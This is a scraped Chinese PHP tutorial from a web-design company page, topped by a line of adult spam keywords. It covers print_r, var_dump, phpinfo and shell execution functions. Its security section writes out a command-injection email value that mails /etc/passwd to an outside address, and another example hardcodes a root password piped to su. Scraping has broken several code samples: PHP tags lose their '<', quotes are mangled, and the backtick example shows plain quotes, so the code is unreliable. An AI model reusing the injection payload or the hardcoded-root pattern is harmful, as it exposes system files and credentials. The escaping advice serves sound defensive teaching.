真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

怎樣打印出php數(shù)據(jù) php實現(xiàn)打印功能

2.php如何打印一個對象或數(shù)組到桌面上

php打印一個對象或數(shù)組到到桌面上:

超過十余年行業(yè)經(jīng)驗,技術(shù)領(lǐng)先,服務(wù)至上的經(jīng)營模式,全靠網(wǎng)絡(luò)和口碑獲得客戶,為自己降低成本,也就是為客戶降低成本。到目前業(yè)務(wù)范圍包括了:網(wǎng)站制作、成都網(wǎng)站建設(shè),成都網(wǎng)站推廣,成都網(wǎng)站優(yōu)化,整體網(wǎng)絡(luò)托管,小程序設(shè)計,微信開發(fā),重慶App定制開發(fā),同時也可以讓客戶的網(wǎng)站和網(wǎng)絡(luò)營銷和我們一樣獲得訂單和生意!

1、打印數(shù)組使用print_r ( $array/$var )

print 是打印的意思,而r則取自Array的單詞,那么該函數(shù)的功能就是打印數(shù)組內(nèi)容,它既可以打印數(shù)組內(nèi)容,也可以打印普通的變量。

print_r ($_REQUEST) ;

print_r ($_GET) ; /* 打印使用GET方法傳遞的表單內(nèi)容*/

print_r($_POST) ; /* 打印使用表單POST方法傳遞過的數(shù)組內(nèi)容*/

2、打印對象使用var_dump ($object/$array/$var)

var 代表變量(Variable),變量包括對象、數(shù)組以及標(biāo)量變量,dump有倒出之意,加在一塊,就是將變量或?qū)ο蟮膬?nèi)容全部輸出出來。

var_dump($DB) ; /*打印$DB數(shù)據(jù)庫連接對象的內(nèi)容*/

var_dump($fileHandle) ; /*打印文件句柄對象的內(nèi)容*/

var_dump($Smarty) ; /*打印Smarty模板對象*/

怎么打印php版本信息

Php的版本控制一直也是一個比較棘手的問題,因為版本不同導(dǎo)致有許多功能不能很好的實現(xiàn),所以當(dāng)程序上傳到空間的時候一定要對版本進(jìn)行有效的控制,這樣可以避免不必要的麻煩產(chǎn)生。那么如何查看當(dāng)前你的php版本呢?下面提供兩種方法幫你查看你的php版本。

使用phpinfo()函數(shù),該函數(shù)就是用來顯示php服務(wù)器的配置信息,在你的環(huán)境下創(chuàng)建一個php文件,在里面數(shù)據(jù)下面代碼,然后執(zhí)行就會打印出下面結(jié)果,可以清楚的看到,你當(dāng)前php的版本,已經(jīng)php、apache、mysql等配置信息。

?php

Phpinfo();

?

使用phpsersion()函數(shù),這個函數(shù)的原型是string phpversion(void);返回的一個string,本函數(shù)是返回php版本信息,創(chuàng)建一個php文件,輸入以下代碼,就可以在瀏覽器中看到返回的php的版本信息了。

?php

echo phpversion();

?

在php命令行業(yè)中怎樣打印內(nèi)容

在PHP中調(diào)用外部命令,可以用如下三種方法來實現(xiàn):

1) 用PHP提供的專門函數(shù)

PHP提供共了3個專門的執(zhí)行外部命令的函數(shù):system(),exec(),passthru()。

system()

原型:string

system (string command [, int return_var])

system()函數(shù)很其它語言中的差不多,它執(zhí)行給定的命令,輸出和返回結(jié)果。第二個參數(shù)是可選的,用來得到命令執(zhí)行后的狀態(tài)碼。

例子:

復(fù)制代碼

代碼如下:

?php

system("/usr/local/bin/webalizer/webalizer");

?

exec()

原型:string exec (string command [, string array [, int return_var]])

exec

()函數(shù)與system()類似,也執(zhí)行給定的命令,但不輸出結(jié)果,而是返回結(jié)果的最后一行。雖然它只返回命令結(jié)果的最后一行,但用第二個參數(shù)array

可以得到完整的結(jié)果,方法是把結(jié)果逐行追加到array的結(jié)尾處。所以如果array不是空的,在調(diào)用之前最好用unset()最它清掉。只有指定了第二

個參數(shù)時,才可以用第三個參數(shù),用來取得命令執(zhí)行的狀態(tài)碼。

例子:

復(fù)制代碼

代碼如下:

?php

exec("/bin/ls -l");

exec("/bin/ls -l", $res);

exec("/bin/ls -l", $res, $rc);

?

passthru()

原型:void passthru (string command [, int

return_var])

passthru

()只調(diào)用命令,不返回任何結(jié)果,但把命令的運(yùn)行結(jié)果原樣地直接輸出到標(biāo)準(zhǔn)輸出設(shè)備上。所以passthru()函數(shù)經(jīng)常用來調(diào)用象pbmplus

(Unix下的一個處理圖片的工具,輸出二進(jìn)制的原始圖片的流)這樣的程序。同樣它也可以得到命令執(zhí)行的狀態(tài)碼。

例子:

復(fù)制代碼

代碼如下:

?php

header("Content-type:

image/gif");

passthru("./ppmtogif hunte.ppm");

?

2)

用popen()函數(shù)打開進(jìn)程

上面的方法只能簡單地執(zhí)行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統(tǒng)用戶時,要調(diào)用su來把當(dāng)前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。

popen

()函數(shù)打開一個進(jìn)程管道來執(zhí)行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那么就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一

的操作模式,要么寫,要么讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或?qū)懀┐蜷_的,否則必須調(diào)用pclose()函數(shù)來關(guān)閉 它。

例子1:

復(fù)制代碼

代碼如下:

?php

$fp=popen("/bin/ls -l", "r");

?

例子2:

復(fù)制代碼

代碼如下:

?php

/* PHP中如何增加一個系統(tǒng)用戶

下面是一段例程,增加一個名字為james的用戶,

root密碼是 verygood。僅供參考

*/

$sucommand =

"su --login root --command";

$useradd = "useradd ";

$rootpasswd =

"verygood";

$user = "james";

$user_add = sprintf("%s "%s

%s"",$sucommand,$useradd,$user);

$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);

@pclose($fp);

?

3)

用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執(zhí)行的命令括起來作為一個表達(dá)式,這個表達(dá)式的值就是命令執(zhí)行的結(jié)果。如:

復(fù)制代碼

代碼如下:

?php

$res='/bin/ls -l';

echo '

'.$res.'

';

?

這個腳本的輸出就象:

hunte.gif

hunte.ppm

jpg.htm

jpg.jpg

passthru.php

要考慮些什么看

要考慮兩個問題:安全性和超時。

看安全性。比如,你有一家小型的網(wǎng)上商店,所以可以出售的產(chǎn)品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地

址,然后把這個產(chǎn)品列表發(fā)給他們。假設(shè)你沒有使用PHP的mail()函數(shù)(或者從未聽說過),你就調(diào)用Linux/Unix系統(tǒng)的mail程序來發(fā)送這

個文件。程序就象這樣:

復(fù)制代碼

代碼如下:

?php

system("mail $to

products.txt");

echo "我們的產(chǎn)品目錄已經(jīng)發(fā)送到你的信箱:$to";

?

用這段代碼,一般的用戶不會產(chǎn)生什么危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail someone@domain.com /etc/passwd ;'

那么這條命令最終變成:

'mail --bla ; mail someone@domain.com /etc/passwd ; products.txt'

我相信,無論哪個網(wǎng)絡(luò)管理人員見到這樣的命令,都會嚇出一身冷汗來。

好,PHP為我們提供了兩個函數(shù):EscapeShellCmd()和EscapeShellArg()。函數(shù)EscapeShellCmd把一個字符串

中所有可能瞞過Shell而去執(zhí)行另外一個命令的字符轉(zhuǎn)義。這些字符在Shell中是有特殊含義的,象分號(),重定向()和從文件讀入

()等。函數(shù)EscapeShellArg是用來處理命令的參數(shù)的。它在給定的字符串兩邊加上單引號,并把字符串中的單引號轉(zhuǎn)義,這樣這個字符串

就可以安全地作為命令的參數(shù)。

再來看看超時問題。如果要執(zhí)行的命令要花費(fèi)很長的時間,那么應(yīng)該把這個命令放到系統(tǒng)的后臺去運(yùn)

行。但在默認(rèn)情況下,象system()等函數(shù)要等到這個命令運(yùn)行完才返回(實際上是要等命令的輸出結(jié)果),這肯定會引起PHP腳本的超時。解決的辦法是

把命令的輸出重定向到另外一個文件或流中,如:

復(fù)制代碼

代碼如下:

?php

system("/usr/local/bin/order_proc /tmp/null ");

?

怎樣打印php返回內(nèi)容

內(nèi)容類型:字符串 打?。篹cho "字符串"

內(nèi)容類型:數(shù)組 打?。簆rint_r(數(shù)組)或者var_dump(數(shù)組)

怎么使用PHP把尋入的數(shù)據(jù),套用WROD文檔格式打印出來!!

PHP 生成 word 文檔有2種方式,一種是使用 com 方式,調(diào)用 word 程序來處理數(shù)據(jù),其實質(zhì)類似于常見的使用 vbs 調(diào)用 word / excel 這種。

另一種的原理,基于 word 軟件可以直接打開 html 格式的文件,并正常顯示(包括格式、圖片等等),這樣的話,就可以將所需要導(dǎo)出到 word 中的數(shù)據(jù),先生成 html 代碼,再發(fā)送到客戶端。

具體詳細(xì)請參考以下資料:

PHP里面怎么輸出數(shù)據(jù)?

您好,PHP輸出數(shù)據(jù)有四種方式,echo、var_dump、print_r、retrun(這個一般是PHP框架常用)


網(wǎng)頁標(biāo)題:怎樣打印出php數(shù)據(jù) php實現(xiàn)打印功能
分享URL:http://weahome.cn/article/dodcsch.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部